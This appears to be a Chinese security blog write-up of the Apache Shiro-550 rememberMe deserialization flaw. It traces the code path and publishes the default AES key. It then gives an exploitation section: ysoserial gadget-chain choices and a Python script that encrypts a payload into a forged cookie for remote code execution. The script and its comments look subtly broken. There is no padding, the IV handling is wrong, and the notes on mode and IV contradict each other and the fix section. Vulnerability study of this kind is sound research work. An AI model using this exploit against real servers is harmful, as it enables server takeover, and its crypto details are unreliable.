Shiro550漏洞分析

0x01 环境搭建

漏洞影响版本:Shiro <= 1.2.4

shiro550 的根本原因:固定 key 加密

项目地址:

1
https://github.com/phith0n/JavaThings/tree/master/shirodemo

0x02 漏洞分析

漏洞原理

用户在登录时勾选了“Remember Me”选项,服务端会生成一个经过 AES 加密(密钥硬编码或可预测)并序列化的 rememberMe Cookie,登录成功后,响应包的 Set-Cookie 头中会出现 rememberMe=deleteMe(用于清除无效 cookie)以及真正的 rememberMe=<base64加密数据>。此后客户端每次请求都会携带该 Cookie,Shiro 默认使用固定密钥(如 kPH+bIxk5D2deZiIxcaaaA==)对序列化对象进行加密。攻击者可以构造恶意反序列化 payload(例如 CommonsCollections 链),用相同密钥加密后作为 rememberMe Cookie 发送。服务端解密并反序列化该 Cookie 时,触发任意命令执行,进而获取服务器权限(getshell)。

image-20260812153937508

Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞分析

解密过程

入口:CookieRememberMeManager.getRememberedSerializedIdentity()

判断是否为 HTTP 请求,获取 rememberMe Cookie 值

image-20260812154710474谁调用了 getRememberedSerializedIdentity() 这个方法。找到这里,主要

取出 bytes 数组,调用 convertBytesToPrincipals(bytes)

image-20260812154815253

image-20260812161016206

跟进convertBytesToPrincipals() 方法,将之前的 bytes 数组转换成了认证信息,在 convertBytesToPrincipals() 这个方法当中,很明确地做了两件事,一件是 decrypt 的解密,另一件是 deserialize 的反序列化。

image-20260812161129617

到解密过程之 decrypt() 方法

image-20260812161440231

点进 getDecryptionCipherKey() ,

image-20260812161630618

在点进去decryptionCipherKey参数,发现了setDecryptionCipherKey方法

image-20260812163232741

找谁调用了setDecryptionCipherKey(),最终追溯到 DEFAULT_CIPHER_KEY_BYTES(固定常量)

image-20260812161745899

image-20260812161838030

image-20260812162044218

然后回到convertBytesToPrincipals()方法,跟进deserialize()方法,调用 readObject(),是典型的反序列化入口

image-20260812164339701

加密过程

直接断点到这里

image-20260812164555562

跟进 rememberIdentity() 方法,这里一串调用,保存用户名。

image-20260812164819095

跟进this.rememberIdentity(subject, principals)

image-20260812164738342

进入 convertPrincipalsToBytes() 方法,里面和我们之前看的解密里面的 convertBytesToPrincipals() 非常相似,不过将解密变成了加密,将反序列化改成了序列化。

image-20260812172856920

后续差多,通过 AES 加密之后的 Cookie,拿去 Base64 编码。

image-20260812173039343

所以可构造恶意序列化 payload → 用公开密钥 AES 加密 → Base64 编码 → 放入 rememberMe Cookie 发送 → 服务端解密并反序列化 → 触发 RCE

0x03 Shiro-550 漏洞利用

简单点就直接使用ysoserial生成Payload

常见适用于 Shiro 的链:CommonsBeanutils1CommonsCollections2CommonsCollections4JRMPClient

Shiro 框架的 shiro-core 模块强依赖 commons-beanutils。 即使目标应用没有显式引入该库,只要使用了 Shiro 的权限注解(如 @RequiresRoles)、JSP 标签库或某些配置解析功能,Beanutils 就会被自动带入。

但是许多 Shiro 应用可能只引入了 shiro-core,没有附带 commons-collections,但一定有 commons-beanutils。该链将无法直接使用。

无依赖变种(Shiro环境常用):通过使用JDK自带的 String.CASE_INSENSITIVE_ORDER(其内部类 CaseInsensitiveComparator实现了 Comparator且可序列化)作为替代比较器,可以构造不依赖 commons-collections的CB链。这也是Shiro-550漏洞利用中常见的“无依赖”CB链(即CommonsBeanutils1Shiro)的核心思路。

然后py用 Shiro 默认密钥加密并 Base64 编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
from Crypto.Cipher import AES
import os

# 读取 ysoserial 生成的二进制 payload
with open('payload.bin', 'rb') as f:
data = f.read()

# Shiro 默认 AES 密钥(Base64 解码后为 16 字节)
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')

# AES/CBC/PKCS5Padding 加密(IV 为 16 字节随机数,但 Shiro 实际使用 ECB 模式?)
# 注意:Shiro 的 RememberMe 使用的是 AES-128/CBC/PKCS5Padding,IV 固定为 16 个零字节。
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(data)

# Base64 编码
encoded = base64.b64encode(encrypted).decode()
print(encoded)

image-20260812173702793

随着JDK版本升级(特别是引入JEP 290序列化过滤器等安全机制),CB链的利用可能会受到进一步限制,需要配合其他绕过技术。但这更多是JDK版本而非CB库版本的限制。

0x04 漏洞修复

升级至≥1.2.6版本,官方移除了默认密钥强制要求。在shiro.ini或配置类中设置随机生成的密钥

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。

image-20260813170728158

image-20260813170747979